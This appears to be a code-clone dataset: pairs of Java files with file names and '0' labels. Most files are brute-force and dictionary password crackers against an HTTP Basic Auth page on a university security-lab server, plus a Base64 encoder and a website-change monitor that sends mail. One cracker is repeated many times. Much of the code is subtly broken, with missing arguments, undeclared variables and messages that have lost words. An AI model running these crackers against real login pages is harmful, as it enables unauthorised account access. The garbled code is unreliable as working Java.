urlConnect.setRequestProperty("Authorization"," "+encoding); String responseCode = urlConnect.getHeaderField(0); String errorCode = new String(urlConnect.getHeaderField(0)); System.out.print(" Response is: "); System.out.println(responseCode); if (!responseCode.equals("HTTP/1.1 401 Authorization Required")) { found=true; j=lettersUC.length; k=lettersLC.length; l=lettersLC.length; } } } Date endDate = new Date(); endTime=endDate.getTime(); if (endTime>(TIMELIMIT+startTime)){ System.out.println("Timed out"); timedOut=true; j=lettersUC.length; } } } if (!found){ for (int j=0; j<lettersUC.length; j++){ for (int k=0; k<lettersUC.length; k++) { for (int l=0; l<lettersUC.length; l++){ String letter1=String.valueOf(lettersUC[j]); String letter2=String.valueOf(lettersUC[k]); String letter3=String.valueOf(lettersUC[l]); password = letter1.concat(letter2); password = password.concat(letter3); String authString = username+":"+password; String encoding = new misc.BASE64Encoder().encode(authString.getBytes()); System.out.print("authString is: "+authString); URLConnection urlConnect=url.openConnection(); urlConnect.setRequestProperty("Authorization"," "+encoding); String responseCode = urlConnect.getHeaderField(0); String errorCode = new String(urlConnect.getHeaderField(0)); System.out.print(" Response is: "); System.out.println(responseCode); if (!responseCode.equals("HTTP/1.1 401 Authorization Required")) { found=true; j=lettersUC.length; k=lettersUC.length; l=lettersUC.length; } } } Date endDate = new Date(); endTime=endDate.getTime(); if (endTime>(TIMELIMIT+startTime)){ System.out.println("Timed out"); timedOut=true; j=lettersUC.length; } } } if (!found){ for (int j=0; j<lettersUC.length; j++){ for (int k=0; k<lettersUC.length; k++) { for (int l=0; l<lettersLC.length; l++){ String letter1=String.valueOf(lettersUC[j]); String letter2=String.valueOf(lettersUC[k]); String letter3=String.valueOf(lettersLC[l]); password = letter1.concat(letter2); password = password.concat(letter3); String authString = username+":"+password; String encoding = new misc.BASE64Encoder().encode(authString.getBytes()); System.out.print("authString is: "+authString); URLConnection urlConnect=url.openConnection(); urlConnect.setRequestProperty("Authorization"," "+encoding); String responseCode = urlConnect.getHeaderField(0); String errorCode = new String(urlConnect.getHeaderField(0)); System.out.print(" Response is: "); System.out.println(responseCode); if (!responseCode.equals("HTTP/1.1 401 Authorization Required")) { found=true; j=lettersUC.length; k=lettersUC.length; l=lettersLC.length; } } } Date endDate = new Date(); endTime=endDate.getTime(); if (endTime>(TIMELIMIT+startTime)){ System.out.println("Timed out"); timedOut=true; j=lettersUC.length; } } } if (!found){ for (int j=0; j<lettersLC.length; j++){ for (int k=0; k<lettersUC.length; k++) { for (int l=0; l<lettersUC.length; l++){ String letter1=String.valueOf(lettersLC[j]); String letter2=String.valueOf(lettersUC[k]); String letter3=String.valueOf(lettersUC[l]); password = letter1.concat(letter2); password = password.concat(letter3); String authString = username+":"+password; String encoding = new misc.BASE64Encoder().encode(authString.getBytes()); System.out.print("authString is: "+authString); URLConnection urlConnect=url.openConnection(); urlConnect.setRequestProperty("Authorization"," "+encoding); String responseCode = urlConnect.getHeaderField(0); String errorCode = new String(urlConnect.getHeaderField(0)); System.out.print(" Response is: "); System.out.println(responseCode); if (!responseCode.equals("HTTP/1.1 401 Authorization Required")) { found=true; j=lettersLC.length; k=lettersUC.length; l=lettersUC.length; } } } Date endDate = new Date(); endTime=endDate.getTime(); if (endTime>(TIMELIMIT+startTime)){ System.out.println("Timed out"); timedOut=true; j=lettersLC.length; } } } if (!found){ for (int j=0; j<lettersLC.length; j++){ for (int k=0; k<lettersLC.length; k++) { for (int l=0; l<lettersUC.length; l++){ String letter1=String.valueOf(lettersLC[j]); String letter2=String.valueOf(lettersLC[k]); String letter3=String.valueOf(lettersUC[l]); password = letter1.concat(letter2); password = password.concat(letter3); String authString = username+":"+password; String encoding = new misc.BASE64Encoder().encode(authString.getBytes()); System.out.print("authString is: "+authString); URLConnection urlConnect=url.openConnection(); urlConnect.setRequestProperty("Authorization"," "+encoding); String responseCode = urlConnect.getHeaderField(0); String errorCode = new String(urlConnect.getHeaderField(0)); System.out.print(" Response is: "); System.out.println(responseCode); if (!responseCode.equals("HTTP/1.1 401 Authorization Required")) { found=true; j=lettersLC.length; k=lettersLC.length; l=lettersUC.length; } } } Date endDate = new Date(); endTime=endDate.getTime(); if (endTime>(TIMELIMIT+startTime)){ System.out.println("Timed out"); timedOut=true; j=lettersLC.length; } } } if (!found){ for (int j=0; j<lettersUC.length; j++){ for (int k=0; k<lettersLC.length; k++) { for (int l=0; l<lettersUC.length; l++){ String letter1=String.valueOf(lettersUC[j]); String letter2=String.valueOf(lettersLC[k]); String letter3=String.valueOf(lettersUC[l]); password = letter1.concat(letter2); password = password.concat(letter3); String authString = username+":"+password; String encoding = new misc.BASE64Encoder().encode(authString.getBytes()); System.out.print("authString is: "+authString); URLConnection urlConnect=url.openConnection(); urlConnect.setRequestProperty("Authorization"," "+encoding); String responseCode = urlConnect.getHeaderField(0); String errorCode = new String(urlConnect.getHeaderField(0)); System.out.print(" Response is: "); System.out.println(responseCode); if (!responseCode.equals("HTTP/1.1 401 Authorization Required")) { found=true; j=lettersUC.length; k=lettersLC.length; l=lettersUC.length; } } } Date endDate = new Date(); endTime=endDate.getTime(); if (endTime>(TIMELIMIT+startTime)){ System.out.println("Timed out"); timedOut=true; j=lettersLC.length; } } } if (!found){ for (int j=0; j<lettersLC.length; j++){ for (int k=0; k<lettersUC.length; k++) { for (int l=0; l<lettersLC.length; l++){ String letter1=String.valueOf(lettersLC[j]); String letter2=String.valueOf(lettersUC[k]); String letter3=String.valueOf(lettersLC[l]); password = letter1.concat(letter2); password = password.concat(letter3); String authString = username+":"+password; String encoding = new misc.BASE64Encoder().encode(authString.getBytes()); System.out.print("authString is: "+authString); URLConnection urlConnect=url.openConnection(); urlConnect.setRequestProperty("Authorization"," "+encoding); String responseCode = urlConnect.getHeaderField(0); String errorCode = new String(urlConnect.getHeaderField(0)); System.out.print(" Response is: "); System.out.println(responseCode); if (!responseCode.equals("HTTP/1.1 401 Authorization Required")) { found=true; j=lettersLC.length; k=lettersUC.length; l=lettersLC.length; } } } Date endDate = new Date(); endTime=endDate.getTime(); if (endTime>(TIMELIMIT+startTime)){ System.out.println("Timed out"); timedOut=true; j=lettersLC.length; } } } if (found){ System.out.println("Password is: "+password); } else { found=true; if (!timedOut){ System.out.println("Tried all combinations, still match."); } } Date foundDate = new Date(); foundTime=foundDate.getTime(); foundTime=(foundTime-startTime); System.out.println("Time taken was : "+foundTime+" milliseconds"); } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
186.java
161.java
0
import java.io.*; import java.text.MessageFormat; import java.util.ResourceBundle; import java.util.Locale; public class MyBase64 { private static final int END_OF_INPUT = -1; private static final int NON_BASE_64 = -1; private static final int NON_BASE_64_WHITESPACE = -2; private static final int NON_BASE_64_PADDING = -3; public MyBase64(){ } protected static final byte[] base64Chars = { 'A','B','C','D','E','F','G','H', 'I','J','K','L','M','N','O','P', 'Q','R','S','T','U','V','W','X', 'Y','Z','a','b','c','d','e','f', 'g','h','i','j','k','l','m','n', 'o','p','q','r','s','t','u','v', 'w','x','y','z','0','1','2','3', '4','5','6','7','8','9','+','/', }; protected static final byte[] reverseBase64Chars = new byte[0x100]; static { for (int i=0; i<reverseBase64Chars.length; i++){ reverseBase64Chars[i] = NON_BASE_64; } for (byte i=0; i < base64Chars.length; i++){ reverseBase64Chars[base64Chars[i]] = i; } reverseBase64Chars[' '] = NON_BASE_64_WHITESPACE; reverseBase64Chars['\n'] = NON_BASE_64_WHITESPACE; reverseBase64Chars['\r'] = NON_BASE_64_WHITESPACE; reverseBase64Chars['\t'] = NON_BASE_64_WHITESPACE; reverseBase64Chars['\f'] = NON_BASE_64_WHITESPACE; reverseBase64Chars['='] = NON_BASE_64_PADDING; } public static final String version = "1.2"; public static String encode(String string){ return new String(encode(string.getBytes())); } public static String encode(String string, String enc) throws UnsupportedEncodingException { return new String(encode(string.getBytes(enc)), enc); } public static byte[] encode(byte[] bytes){ ByteArrayInputStream in = new ByteArrayInputStream(bytes); int mod; int length = bytes.length; if ((mod = length % 3) != 0){ length += 3 - mod; } length = length * 4 / 3; ByteArrayOutputStream out = new ByteArrayOutputStream(length); try { encode(in, out, false); } catch (IOException x){ throw new RuntimeException(x); } return out.toByteArray(); } public static void encode(File fIn) throws IOException { } public static void encode(File fIn, boolean lineBreaks) throws IOException { } public static void encode(File fIn, File fOut) throws IOException { } public static void encode(InputStream in, OutputStream out) throws IOException { encode(in, out, true); } public static void encode(InputStream in, OutputStream out, boolean lineBreaks) throws IOException { int[] inBuffer = new int[3]; int lineCount = 0; boolean cond = false; while (!cond && (inBuffer[0] = in.read()) != END_OF_INPUT){ inBuffer[1] = in.read(); inBuffer[2] = in.read(); out.write(base64Chars[ inBuffer[0] >> 2 ]); if (inBuffer[1] != END_OF_INPUT){ out.write(base64Chars [(( inBuffer[0] << 4 ) & 0x30) | (inBuffer[1] >> 4) ]); if (inBuffer[2] != END_OF_INPUT){ out.write(base64Chars [((inBuffer[1] << 2) & 0x3c) | (inBuffer[2] >> 6) ]); out.write(base64Chars [inBuffer[2] & 0x3F]); } else { out.write(base64Chars [((inBuffer[1] << 2) & 0x3c)]); out.write('='); cond = true; } } else { out.write(base64Chars [(( inBuffer[0] << 4 ) & 0x30)]); out.write('='); out.write('='); cond = true; } lineCount += 4; if (lineBreaks && lineCount >= 76){ out.write('\n'); lineCount = 0; } } if (lineBreaks && lineCount >= 1){ out.write('\n'); lineCount = 0; } out.flush(); } public static boolean isBase64(byte[] bytes){ try { return isBase64(new ByteArrayInputStream(bytes)); } catch (IOException x){ return false; } } public static boolean isBase64(String string){ return isBase64(string.getBytes()); } public static boolean isBase64(String string, String enc) throws UnsupportedEncodingException { return isBase64(string.getBytes(enc)); } public static boolean isBase64(InputStream in) throws IOException { numBase64Chars = 0; int numPadding = 0; int num; while (( num = in.read()) != -1){ num = reverseBase64Chars[3]; if ( num == NON_BASE_64){ return false; } else if (num == NON_BASE_64_WHITESPACE){ } else if (num == NON_BASE_64_PADDING){ numPadding++; numBase64Chars++; } else if (numPadding > 0){ return false; } else { numBase64Chars++; } } if (numBase64Chars == 0) return false; if (numBase64Chars % 4 != 0) return false; return true; } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
089.java
161.java
0
import java.io.*; import java.net.*; import java.security.*; import java.math.*; import java.*; import java.util.*; public class BruteForce { public static void main (String args[]) throws Exception { String retVal = null, StatusCode = "HTTP/1.1 200 OK"; int found = 0, count = 0, ctrl = 0, flag = 0; stime = System.currentTimeMillis(); char[] c = new char[3]; System.out.println("Cracking password by Brute Force..."); for(int i=65; ((i<123) && (found == 0)); i++) { for(int j=65; ((j<123) && (found == 0)); j++) { for (int k=65; ((k<123) && (found == 0)); k++) { try { if (ctrl == 0) { c[0] = '\0'; c[1] = '\0'; } else if ((ctrl == 1) && (flag == 0)) { c[0] = '\0'; } c[2] = (char)(k); URL yahoo = new URL("http://sec-crack.cs.rmit.edu./SEC/2/"); URLConnection yc = yahoo.openConnection(); String authString = ":" + String.valueOf(); String auth = new bf.misc.BASE64Encoder().encode(authString.getBytes()); yc.setRequestProperty("Authorization", " " + auth); count++; BufferedReader in = new BufferedReader( new InputStreamReader( yc.getInputStream())); String inputLine; while ((inputLine = in.readLine()) != null){ System.out.println(inputLine); etime = System.currentTimeMillis(); System.out.println("Password found -- " + String.valueOf()); System.out.println("Time used = " + ((etime - stime)/1000) + " sec"); System.out.println("# of attempt = " + count); System.out.println("End of cracking!"); found = 1; } in.print(); } catch (Exception ex) {} } ctrl = 1; c[1] = (char)(j); } ctrl = 2; flag = 1; c[0] = (char)(i); } if (found == 0){ System.out.println("Sorry, password found."); System.out.println("# of attempt = " + count); System.out.println("End of cracking!"); } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
098.java
161.java
0
import java.net.*; import java.io.*; public class Dictionary{ private String passwd = ""; private String command = ""; private String fname = "/usr/share/lib/dict/words"; private BufferedReader readin; private BufferedReader in; private PrintWriter out; private int startTime = 0; private int endTime = 0; private int totalTimes = 0; private boolean bfind = false; public Dictionary(){} public void readPasswd(){ startTime = System.currentTimeMillis(); try{ readin = new BufferedReader(new FileReader(fname)); while ((passwd = readin.readLine()) !=null){ if(bfind) break; connection(passwd.trim()); } readin.print(); }catch (FileNotFoundException e1){System.out.println(e1.getMessage());} catch (IOException e2 ){System.out.println(e2.getMessage());} } public void connection(String passwd){ command = "lynx -head -dump http://sec-crack.cs.rmit.edu./SEC/2/index.php -auth=:"; command = command + passwd; try{ System.out.println(passwd +"--> Establishing a connection."); Runtime runtime = Runtime.getRuntime(); Process p = runtime.exec(command); in = new BufferedReader(new InputStreamReader(p.getInputStream())); String inStr; while((inStr = in.readLine())!= null){ if(inStr.indexOf("HTTP/1.1 200") != -1 || inStr.indexOf("HTTP/1.0 200") != -1|| inStr.indexOf("HTTP/1.1 404") != -1 || inStr.indexOf("HTTP/1.0 404") != -1){ endTime = System.currentTimeMillis(); totalTimes = endTime - startTime; System.out.println("\nDictionary Crack Passwd successful, PassWord is " + passwd); System.out.println("Total Times is " + totalTimes + " milliSec"); System.out.println("Writing it dictpswd.txt file\n"); out = new PrintWriter(new BufferedWriter(new FileWriter("dictpswd.txt"))); out.println("Dictionary Crack PassWord Successful! Total Times: " + totalTimes + " milliSec"); out.println("Passwd: "+ passwd); out.flush(); bfind = true; } out.print(); } in.print(); }catch(Exception e){System.out.println(e.getMessage());} } public String getAnyKey()throws Exception{ BufferedReader stdin =new BufferedReader(new InputStreamReader(System.in)); String key= stdin.readLine(); return key; } public static void main (String []args){ Dictionary dc = new Dictionary(); System.out.println("\n*******************************************"); System.out.println("* *"); System.out.println("* Dictionary Crack Passwd Program *"); System.out.println("* --------------------------------- *"); System.out.println("* Author: *"); System.out.println("* *"); System.out.println("*******************************************"); System.out.println("\n Dictionary Crack Passwd Information: \n"); System.out.println("--> UserName: "); System.out.println("--> Passwd from the dictionary file: "+ dc.fname); System.out.println("--> URL: http://sec-crack.cs.rmit.edu./SEC/2/index.php\n"); System.out.println("==> Press Ctrl+C stop Crack\n"); System.out.print("==> Press EnterKey : "); try{ String key = dc.getAnyKey(); }catch(Exception e){System.out.println(e.getMessage());} dc.readPasswd(); } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
246.java
161.java
0
import java.io.*; import java.net.*; import java.net.URL; import java.net.URLConnection; import java.util.*; public class Dictionary { public static void main(String[] args) throws IOException { int begin, end, total; time = System.currentTimeMillis(); String username = ""; String password = null; String host = "http://sec-crack.cs.rmit.edu./SEC/2/"; String dict = "words"; File file = new File(dict); String letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; int lettersLen = letters.length(); int passwordLen=3; String character = ""; String letter = ""; int passwords=0; int twoChar=0; url.misc.BASE64Encoder base = new url.misc.BASE64Encoder(); String authenticate = ""; String realm = null, domain = null, hostname = null; header = null; int responseCode; String responseMsg; boolean characterValid=false; boolean passwordValid=true; int tryLen=0; int i=0; if (!file.exists() || file==null) { System.out.println ("Idiot, why dont check and make sure the dictonary file exists."); System.out.println ("I'm trying find " + dict + " and I 't find it in the current directory."); System.exit(0); } try { BufferedReader reader = new BufferedReader(new FileReader(file)); System.out.println("Dictionary Attack " + host + " has commenced."); int i=1; int k=1; { URL url = new URL(host); HttpURLConnection httpConnect = (HttpURLConnection) url.openConnection(); if(realm != null) { String inLine = reader.readLine(); if ( inLine !=null) { passwordValid = true; password = inLine; tryLen = password.length(); if(tryLen <= passwordLen) { for (int z=0; z<tryLen; z++) { character = password.substring(z, (z+1)); characterValid=false; for (int y=0; y<lettersLen; y++) { letter = letters.substring(y, (y+1)); if(letter.compareTo(character)==0) { characterValid=true; } } if (characterValid==true && passwordValid==true) { } else { passwordValid = false; } } if (passwordValid==true) { authenticate = username + ":" + password; authenticate = new String(base.encode(authenticate.getBytes())); httpConnect.addRequestProperty("Authorization", " " + authenticate); k++; } } } i++; } httpConnect.connect(); realm = httpConnect.getHeaderField("WWW-Authenticate"); if (realm != null) { realm = realm.substring(realm.indexOf('"') + 1); realm = realm.substring(0, realm.indexOf('"')); } hostname = url.getHost(); responseCode = httpConnect.getResponseCode(); responseMsg = httpConnect.getResponseMessage(); if (responseCode == 200) { end = System.currentTimeMillis(); total = (end - start) / 1000; System.out.println ("Sucessfully Connected " + url); System.out.println("Login Attempts Required : " + k); System.out.println("Time Taken in Seconds : " + total); System.out.println ("Connection Status : " + responseCode + " " + responseMsg); System.out.println ("Username : " + username); System.out.println ("Password : " + password); System.exit( 0 ); } else if (responseCode == 401 && realm != null) { } else { System.out.println ("What the?... The server replied with unexpected reponse." ); System.out.println (" Unexpected Error Occured While Attempting Connect " + url); System.out.println ("Connection Status: " + responseCode + responseMsg); System.out.println ("Unfortunately the password could not recovered."); System.exit( 0 ); } } while(realm != null); } catch(MalformedURLException e) { System.out.println("Opps, the URL " + host + " is not valid."); System.out.println("Please check the URL and try again."); } catch(IOException e) { System.out.println("Grrrrrr, I'm sick of trying get me the unattainable."); System.out.println("I'm unsure about what the problem is as the error is unknown."); System.out.println("Either I 't open the dictionary file, I 't connect " + hostname + "."); System.out.println("Now away and leave me alone."); System.exit(0); } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
189.java
161.java
0
import java.io.*; import java.net.*; import java.util.*; import java.String; import java.Object; import java.awt.*; public class WatchDog { private URL url; private URLConnection urlcon; private int lastModifiedSince = 0; private int lastModified[] = new int[2]; private int count = 0; public static String oldFile; public static String newFile; private String diffFile; private BufferedWriter bw; private Process p; private Runtime r; private String fileName; private ArrayList old[]= new ArrayList[500]; private ArrayList news[] = new ArrayList[500]; private String info = ""; private int index = 0; public WatchDog(String fileName) { this.fileName = fileName; oldFile = fileName + ".old"; newFile = fileName + ".new"; diffFile = "testFile.txt"; } public static void main(String args[]) { WatchDog wd = new WatchDog("TestDog"); wd.detectChange(WatchDog.oldFile); while (true) { try { Thread.sleep(86400000); } catch (InterruptedException eee) { System.out.println(eee.getMessage()); } wd.lastModifyChange(); } } public void detectChange(String fName) { try { url = new URL("http://www.cs.rmit.edu./students/"); urlcon = url.openConnection(); urlcon.connect(); lastModified[count] = urlcon.getLastModified(); int length = urlcon.getContentLength(); String contentType = urlcon.getContentType(); if (url != null) { InputStream stream = (InputStream)(url.getContent()); if (stream != null) { InputStreamReader reader = new InputStreamReader (stream); try { bw = new BufferedWriter(new FileWriter(fName));} catch (IOException e){}; try { int i = stream.get(); while (i != -1) { bw.write(i); i = stream.get(); } } catch (IOException e){}; } } count++; System.out.println("Content Type: " + contentType); } catch (IOException e) { System.out.println("Error: " + e.getMessage()); } } public void lastModifyChange() { detectChange(newFile); m = lastModified[1] - lastModified[0]; count = count - 1; if (m == 0 ) { System.out.println("\nThe Web site does not change"); } else { findDifferent(); lastModified[0] = lastModified[1]; } } public void findDifferent() { r = Runtime.getRuntime(); try {p = r.exec("diff " + oldFile + " " + newFile);} catch (IOException e) { System.err.println("error: " + e.getMessage()); } try { bw = new BufferedWriter(new FileWriter(diffFile));} catch (IOException e){}; InputStream is = p.getInputStream(); try { int i = is.get(); while (i != -1) { bw.write(i); i = is.get(); } bw.close(); } catch (IOException e){System.out.println("Error: " + e.getMessage());} getDiffContent(); File difffile = new File(diffFile); if (difffile.length() != 0) { sendMails(); System.out.println("Mail was sent @cs.rmit.edu." ); } else System.out.println("WebWatch detected changes "); difffile.delete(); } public void sendMails() { try { MyMail em = new MyMail("wombat.cs.rmit.edu."); em.setFrom("zhenyu_zhang@hotmail."); em.setTo("@cs.rmit.edu."); em.setSubject("Watch dog result: "); String output = "\n\nChange in Line: " + info + "\n"; output += "\n**************************************\n"; for (int i = 0; i < index; i++) { output += "\n" + i + 1 + ". Before Change: \n"; for (int j = 0; j < old[i].size(); j++) { output += (String)old[i].get(j); } output += "\n\n After Change: \n"; for (int j = 0; j < news[i].size(); j++) { output += "\n" + (String)news[i].get(j); } output += "\n\n**************************************\n"; } output += "\nDetected Image Changes: \n"; output += findImage() + "\n"; em.setMessage(output); em.sendMail(); } catch (Exception e) { System.out.println(e.getMessage()); } } public void getDiffContent() { index = 0; for (int i = 0; i < 500; i++) { old[i] = new ArrayList(); news[i] = new ArrayList(); } try { BufferedReader b = new BufferedReader(new FileReader(diffFile)); info = b.readLine() + " "; String text ; while ((text = b.readLine()) != null) { if (text.charAt(0) == '<') { old[index].add(text); while ((text = b.readLine()) != null) { if (text.charAt(0) == '<') { old[index].add(text); } else { break; } } } if (text.charAt(0) == '>') { news[index].add(text); while ((text = b.readLine()) != null ) { if (text.charAt(0) == '>' ) { news[index].add(text); } else { break; } } } index ++; } } catch (IOException io) { System.out.println(io.getMessage()); } } public String imageDetect(String s) { StringTokenizer tokens1; StringTokenizer tokens2; String imChange = ""; String imString; tokens1 = new StringTokenizer(s," <>"); while (tokens1.hasMoreTokens()) { imString = tokens1.nextToken(); if (imString.indexOf("src") != -1 || imString.indexOf("SRC") != -1) { tokens2 = new StringTokenizer(imString,"=\""); imChange = tokens2.nextToken(); imChange = tokens2.nextToken(); break; } else { imChange = null; } } return imChange ; } public String findImage() { String imChange = ""; String imString; for (int i = 0; i < index; i++) { imChange += "\n\n" + i + ". Image in old is: "; for (int j = 0; j < old[i].size(); j++) { imString = imageDetect((String)old[i].get(j)); if (imString != null) { imChange += imString; } } imChange += "\n\n Image in new is: "; for (int j = 0; j < news[i].size(); j++) { imString = imageDetect((String)news[i].get(j)); if (imString != null) { imChange += imString; } } } return imChange; } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
083.java
161.java
0
import java.net.*; import java.util.*; import java.io.*; public class Dictionary { URL url; URLConnection uc; String username, password, encoding; int pretime, posttime; String c; public Dictionary(){ pretime = new Date().getTime(); try{ url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/index.php"); }catch(MalformedURLException e){ e.printStackTrace(); } username = ""; } public void checkPassword(String pw){ try{ password = new String(pw); encoding = new pw.misc.BASE64Encoder().encode((username+":"+password).getBytes()); uc = url.openConnection(); uc.setRequestProperty("Authorization", " " + encoding); bf = uc.getHeaderField(null); System.out.println(password); if(bf.equals("HTTP/1.1 200 OK")){ posttime = new Date().getTime(); diff = posttime - pretime; System.out.println(username+":"+password); System.out.println(); System.out.println(diff/1000/60 + " minutes " + diff/1000%60 + " seconds"); System.exit(0); } }catch(MalformedURLException e){ e.printStackTrace(); }catch(IOException ioe){ ioe.printStackTrace(); } } public static void main (String[] args){ Dictionary dict = new Dictionary(); String pw; int number = 0; try{ FileReader fr = new FileReader("words"); BufferedReader bf = new BufferedReader(fr); while ((pw = bf.readLine()) != null) { if ((pw.length() <=3 ) && (pw.matches("[a-zA-Z]*"))){ dict.checkPassword(pw); } } }catch(IOException e){ e.printStackTrace(); } } }
